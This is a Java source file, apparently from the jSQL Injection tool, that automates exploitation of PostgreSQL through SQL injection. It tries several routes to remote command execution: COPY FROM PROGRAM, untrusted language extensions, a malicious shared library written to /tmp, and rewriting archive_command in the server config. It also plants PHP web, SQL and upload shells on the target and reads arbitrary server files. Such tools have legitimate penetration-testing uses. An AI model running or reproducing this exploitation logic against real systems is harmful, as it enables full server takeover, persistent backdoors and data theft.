View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.engine.postgres.ModelYamlPostgres;
7   import com.jsql.model.bean.database.MockElement;
8   import com.jsql.model.suspendable.Input;
9   import com.jsql.view.subscriber.Seal;
10  import com.jsql.model.exception.AbstractSlidingException;
11  import com.jsql.model.exception.InjectionFailureException;
12  import com.jsql.model.exception.JSqlException;
13  import com.jsql.model.exception.JSqlRuntimeException;
14  import com.jsql.model.injection.engine.model.EngineYaml;
15  import com.jsql.model.suspendable.SuspendableGetRows;
16  import com.jsql.util.LogLevelUtil;
17  import com.jsql.util.StringUtil;
18  import org.apache.commons.lang3.RandomStringUtils;
19  import org.apache.commons.lang3.StringUtils;
20  import org.apache.logging.log4j.LogManager;
21  import org.apache.logging.log4j.Logger;
22  import org.yaml.snakeyaml.Yaml;
23  
24  import java.io.File;
25  import java.io.FileInputStream;
26  import java.io.IOException;
27  import java.io.InputStream;
28  import java.net.http.HttpResponse;
29  import java.util.Arrays;
30  import java.util.List;
31  import java.util.Objects;
32  import java.util.UUID;
33  import java.util.function.BinaryOperator;
34  
35  public class ExploitPostgres {
36  
37      private static final Logger LOGGER = LogManager.getRootLogger();
38      private final InjectionModel injectionModel;
39      private String nameExtension = StringUtils.EMPTY;
40      private final ModelYamlPostgres modelYaml;
41  
42      public ExploitPostgres(InjectionModel injectionModel) {
43          this.injectionModel = injectionModel;
44          var yaml = new Yaml();
45          this.modelYaml = yaml.loadAs(
46              injectionModel.getMediatorEngine().getPostgres().instance().getModelYaml().getResource().getExploit(),
47              ModelYamlPostgres.class
48          );
49      }
50  
51      public void createUdf(String nameExtension) throws JSqlException {
52          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
53  
54          if (StringUtils.isNotEmpty(nameExtension)) {
55              this.setRceExtensionWhenActive(false, nameExtension);
56          } else {
57              var isUdfActive = this.setRceProgramWhenActive();
58              isUdfActive = this.setRceExtensionWhenActive(isUdfActive, nameExtension);
59              isUdfActive = this.setRceLibraryWhenActive(isUdfActive);
60              this.setRceArchiveWhenActive(isUdfActive);
61          }
62      }
63  
64      private String getCreateBasicExtension() {
65          String plCreateExtension = null;
66          if (this.nameExtension.startsWith("plpython")) {
67              plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
68          } else if (this.nameExtension.startsWith("plperl")) {
69              plCreateExtension = this.modelYaml.getUdf().getPlperl();
70          } else if (this.nameExtension.startsWith("pltcl")) {
71              plCreateExtension = this.modelYaml.getUdf().getPltcl();
72          } else if (this.nameExtension.startsWith("plr")) {
73              plCreateExtension = this.modelYaml.getUdf().getPlr();
74          } else if (this.nameExtension.startsWith("pllua")) {
75              plCreateExtension = this.modelYaml.getUdf().getPllua();
76          } else if (this.nameExtension.startsWith("plsh")) {
77              plCreateExtension = this.modelYaml.getUdf().getPlsh();
78          }
79          return plCreateExtension;
80      }
81  
82      private boolean setRceProgramWhenActive() {
83          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
84          var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
85          this.injectionModel.injectWithoutIndex(String.format(
86              this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
87              nameTempTable
88          ), ResourceAccess.TBL_CREATE);
89          this.injectionModel.injectWithoutIndex(String.format(
90              this.modelYaml.getUdf().getProgram().getRun(),
91              nameTempTable,
92              ResourceAccess.WEB_CONFIRM_CMD
93          ), ResourceAccess.TBL_FILL);
94          var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
95              this.modelYaml.getUdf().getProgram().getGetResult(),
96              nameTempTable
97          ), ResourceAccess.TBL_READ);
98          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
99              LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
100             this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceProgramCmd));
101             return true;
102         }
103         return false;
104     }
105 
106     private boolean setRceExtensionWhenActive(boolean isUdfActive, String nameExtension) throws JSqlException {
107         if (isUdfActive) {
108             return true;
109         }
110         if (StringUtils.isNotEmpty(nameExtension)) {
111             this.nameExtension = this.getExtensionWhenCreated(nameExtension);  // could fail but IT only
112             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "IT RCE [Extension]: searching [{}], found [{}]", nameExtension, this.nameExtension);
113         } else {
114             this.nameExtension = StringUtils.EMPTY;
115             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
116             for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
117                 if (StringUtils.isEmpty(this.nameExtension)) {
118                     this.nameExtension = this.getExtensionWhenCreated(ext);
119                 }
120             }
121             if (StringUtils.isEmpty(this.nameExtension)) {
122                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
123                 return false;
124             }
125         }
126 
127         this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);
128 
129         String plCreateBasicExtension = this.getCreateBasicExtension();
130         if (plCreateBasicExtension != null) {
131             this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
132         } else if (this.nameExtension.startsWith("sql")) {
133             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
134             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
135             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
136             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
137             var result = this.injectionModel.getResourceAccess().getResult(
138                 String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
139                 ResourceAccess.BODY_CONFIRM
140             );
141             if (!"1337".equals(result)) {
142                 return false;
143             }
144         }
145 
146         var functions = this.injectionModel.getResourceAccess().getResult(
147             this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
148             ResourceAccess.BODY_CONFIRM
149         );
150         if (!functions.contains("exec_cmd")) {
151             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
152             return false;
153         }
154 
155         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
156         this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceExtensionCmd));
157         return true;
158     }
159 
160     public boolean setRceLibraryWhenActive(boolean isUdfActive) throws JSqlException {
161         if (isUdfActive) {
162             return true;
163         }
164 
165         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
166         this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
167         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
168             this.modelYaml.getUdf().getLibrary().getLoFromText(),
169             String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
170         ), ResourceAccess.ADD_LOID);
171         if (StringUtils.isEmpty(loid)) {
172             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
173             return false;
174         }
175         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
176         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
177             this.modelYaml.getUdf().getLibrary().getLoToFile(),
178             loid,
179             "/tmp/" + nameExploit
180         ), ResourceAccess.WRITE_LOID);
181         this.injectionModel.injectWithoutIndex(String.format(
182             this.modelYaml.getUdf().getLibrary().getCreateFunction(),
183             "/tmp/" + nameExploit
184         ), ResourceAccess.ADD_FUNC);
185         String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
186             this.modelYaml.getUdf().getLibrary().getRunFunc(),
187             ResourceAccess.WEB_CONFIRM_CMD + "%20"
188         ), "confirm");
189         if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
190             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
191             return false;
192         }
193         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
194         this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceLibraryCmd));
195         return true;
196     }
197 
198     private void setRceArchiveWhenActive(boolean isUdfActive) throws JSqlException {
199         if (isUdfActive) {
200             return;
201         }
202 
203         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
204         if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
205             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
206             this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceArchiveCmd));
207         }
208     }
209 
210     private static List<String> toHexChunks(String filename) throws JSqlException {
211         try {
212             byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
213                 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
214             ).readAllBytes();
215             return StringUtil.toHexChunks(fileData);
216         } catch (IOException e) {
217             throw new JSqlException(e);
218         }
219     }
220 
221     public String runRceLibraryCmd(String command, UUID uuidShell) {
222         String result;
223         try {
224             result = this.injectionModel.getResourceAccess().getResult(String.format(
225                 this.modelYaml.getUdf().getLibrary().getRunFunc(),
226                 command.replace(StringUtils.SPACE, "%20") + "%20"
227             ), ResourceAccess.RUN_FUNC);
228         } catch (JSqlException e) {
229             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
230         }
231         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
232             uuidShell,
233             result.trim() +"\n"  // missing newline on some extensions
234         ));
235         return result;
236     }
237 
238     private String runArchive(String command) throws JSqlException {
239         boolean isSetup = command == null;
240         String pathResult = "/tmp/cmd.txt";
241 
242         String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
243         if (isSetup && !status.contains("on")) {
244             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
245             return StringUtils.EMPTY;
246         }
247 
248         String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
249         String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
250             this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
251             pathConf
252         ), "conf#loid");
253         String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
254             this.modelYaml.getUdf().getArchive().getGetConfLength(),
255             loidConf
256         ), "conf#size");
257 
258         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
259             this.modelYaml.getUdf().getArchive().getPutCmd(),
260             loidConf,
261             lengthConf,
262             isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command,
263             pathResult
264         ), "conf#append");
265 
266         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
267             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
268             loidConf,
269             pathConf
270         ), "conf#write");
271         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");
272 
273         String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
274         if (isSetup && !cmdArchive.contains(pathResult)) {
275             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
276             return StringUtils.EMPTY;
277         }
278 
279         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
280         try {
281             Thread.sleep(750);  // wait for result as archiving is slow
282         } catch (InterruptedException e) {
283             LOGGER.log(LogLevelUtil.IGNORE, e, e);
284             Thread.currentThread().interrupt();
285         }
286         String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
287             this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
288             pathResult
289         ), "result#loid");
290         String result = this.injectionModel.getResourceAccess().getResult(String.format(
291             this.modelYaml.getFile().getRead().getLargeObject().getToText(),
292             loidResult
293         ), "result#read");
294 
295         if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
296             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
297             return StringUtils.EMPTY;
298         }
299         return result;
300     }
301 
302     private String getExtensionWhenCreated(String nameExtension) throws JSqlException {
303         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension [{}]", nameExtension);
304         this.injectionModel.injectWithoutIndex(String.format(
305             this.modelYaml.getUdf().getExtension().getCreate(),
306             nameExtension
307         ), "body#add-ext");
308         String languages = this.injectionModel.getResourceAccess().getResult(
309             this.modelYaml.getUdf().getExtension().getLanguages(),
310             "body#confirm-ext"
311         );
312         if (languages.contains(nameExtension)) {
313             LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Language [{}] found: {}", nameExtension, languages);
314             return nameExtension;
315         }
316         LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Language [{}] not found: {}", nameExtension, languages);
317         return StringUtils.EMPTY;
318     }
319 
320     public String runRceArchiveCmd(String command, UUID uuidShell) {
321         String result;
322         try {
323             result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
324         } catch (JSqlException e) {
325             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
326         }
327         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
328             uuidShell,
329             result.trim() +"\n"  // missing newline on some extensions
330         ));
331         return result;
332     }
333 
334     public String runRceProgramCmd(String command, UUID uuidShell) {
335         String result;
336         try {
337             var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
338             this.injectionModel.injectWithoutIndex(String.format(
339                 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
340                 nameTempTable
341             ), ResourceAccess.TBL_CREATE);
342             this.injectionModel.injectWithoutIndex(String.format(
343                 this.modelYaml.getUdf().getProgram().getRun(),
344                 nameTempTable,
345                 command.replace(StringUtils.SPACE, "%20") +"%20"
346             ), ResourceAccess.TBL_FILL);
347             result = this.injectionModel.getResourceAccess().getResult(String.format(
348                 this.modelYaml.getUdf().getProgram().getGetResult(),
349                 nameTempTable
350             ), ResourceAccess.TBL_READ);
351         } catch (JSqlException e) {
352             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
353         }
354         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
355             uuidShell,
356             result.trim() +"\n"  // missing newline on some extensions
357         ));
358         return result;
359     }
360 
361     public String runRceExtensionCmd(String command, UUID uuidShell) {
362         String result;
363         try {
364             if ("sql".equals(this.nameExtension)) {
365                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
366                 this.injectionModel.injectWithoutIndex(String.format(
367                     this.modelYaml.getUdf().getSql().getRunFunc(),
368                     command.replace(StringUtils.SPACE, "%20")
369                 ), ResourceAccess.ADD_FUNC);
370                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
371                 result = this.injectionModel.getResourceAccess().getResult(String.format(
372                     this.modelYaml.getUdf().getSql().getResultCmd(),
373                     EngineYaml.TRAIL_SQL
374                 ), "body#result") +"\n";
375             } else {
376                 result = this.injectionModel.getResourceAccess().getResult(
377                     String.format(
378                         this.modelYaml.getUdf().getRunFunc(),
379                         command.replace(StringUtils.SPACE, "%20"),  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
380                         EngineYaml.TRAIL_SQL
381                     ),
382                     ResourceAccess.UDF_RUN_CMD
383                 );
384             }
385         } catch (JSqlException e) {
386             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
387         }
388         this.injectionModel.sendToViews(new Seal.GetTerminalResult(
389             uuidShell,
390             result.trim() +"\n"  // missing newline on some extensions
391         ));
392         return result;
393     }
394 
395     public String createWeb(String pathExploit, String urlExploit) {
396         String bodyExploit = StringUtil.base64Decode(
397                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
398             )
399             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
400             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
401 
402         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
403             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
404             bodyExploit.replace("'", "\"")
405         ), ResourceAccess.ADD_LOID);
406         if (StringUtils.isEmpty(loid)) {
407             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
408             return StringUtils.EMPTY;
409         }
410         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
411         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
412             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
413             loid,
414             pathExploit + nameExploit
415         ), ResourceAccess.WRITE_LOID);
416 
417         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
418             String result = this.injectionModel.getResourceAccess().callCommand(
419                 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
420             );
421             if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
422                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
423                 return StringUtils.EMPTY;
424             }
425             this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
426             return urlSuccess;
427         };
428 
429         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
430     }
431 
432     public String createSql(String pathExploit, String urlExploit, String username, String password) {
433         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
434             var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
435                 ResourceAccess.SQL_CONFIRM_CMD,
436                 null,
437                 urlSuccess,
438                 username,
439                 password,
440                 false
441             );
442             if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
443                 this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
444                 return urlSuccess;
445             }
446             return StringUtils.EMPTY;
447         };
448 
449         String bodyExploit = StringUtil.base64Decode(
450                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.sql.pdo.pgsql")
451             )
452             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
453             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
454 
455         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
456             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
457             bodyExploit.replace("'", "\"")
458         ), ResourceAccess.ADD_LOID);
459         if (StringUtils.isEmpty(loid)) {
460             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
461             return StringUtils.EMPTY;
462         }
463         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
464         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
465             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
466             loid,
467             pathExploit + nameExploit
468         ), ResourceAccess.WRITE_LOID);
469 
470         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
471     }
472 
473     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
474         String bodyExploit = StringUtil.base64Decode(
475                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
476             )
477             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
478             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
479 
480         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
481             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
482             bodyExploit.replace("'", "\"")
483         ), ResourceAccess.ADD_LOID);
484         if (StringUtils.isEmpty(loid)) {
485             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
486             return;
487         }
488         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
489         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
490             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
491             loid,
492             pathExploit + nameExploit
493         ), ResourceAccess.WRITE_LOID);
494 
495         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
496             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
497                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
498                 if (result.body().contains(DataAccess.LEAD +"y")) {
499                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
500                 } else {
501                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
502                 }
503             } catch (InterruptedException e) {
504                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
505                 Thread.currentThread().interrupt();
506             } catch (IOException | JSqlException e) {
507                 throw new JSqlRuntimeException(e);
508             }
509             return urlSuccess;
510         };
511 
512         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
513     }
514 
515     public String getRead(String pathFile) throws AbstractSlidingException {
516         String resultToParse = StringUtils.EMPTY;
517         try {
518             resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
519                 String.format(
520                     this.modelYaml.getFile().getRead().getFromDataFolder(),
521                     pathFile
522                 ),
523                 new String[]{ StringUtils.EMPTY },
524                 false,
525                 1,
526                 MockElement.MOCK,
527                 ResourceAccess.FILE_READ
528             ));
529         } catch (InjectionFailureException e) {
530             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
531             var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
532                 this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
533                 pathFile
534             ), ResourceAccess.ADD_LOID);
535             if (StringUtils.isNotEmpty(loid)) {
536                 resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
537                     this.modelYaml.getFile().getRead().getLargeObject().getToText(),
538                     loid
539                 ), ResourceAccess.READ_LOID);
540             }
541             if (StringUtils.isEmpty(resultToParse)) {
542                 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
543                 var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8);  // no dash in table name
544                 this.injectionModel.injectWithoutIndex(String.format(
545                     this.modelYaml.getFile().getWrite().getTempTable().getDrop(),
546                     nameLibraryRandom
547                 ), ResourceAccess.TBL_DROP);
548                 this.injectionModel.injectWithoutIndex(String.format(
549                     this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
550                     nameLibraryRandom
551                 ), ResourceAccess.TBL_CREATE);
552                 this.injectionModel.injectWithoutIndex(String.format(
553                     this.modelYaml.getFile().getWrite().getTempTable().getFill(),
554                     nameLibraryRandom,
555                     pathFile
556                 ), ResourceAccess.TBL_FILL);
557                 resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
558                     String.format(
559                         this.modelYaml.getFile().getRead().getFromTempTable(),
560                         nameLibraryRandom
561                     ),
562                     new String[]{ StringUtils.EMPTY },
563                     false,
564                     1,
565                     MockElement.MOCK,
566                     ResourceAccess.TBL_READ
567                 ));
568             }
569         }
570         return resultToParse;
571     }
572 }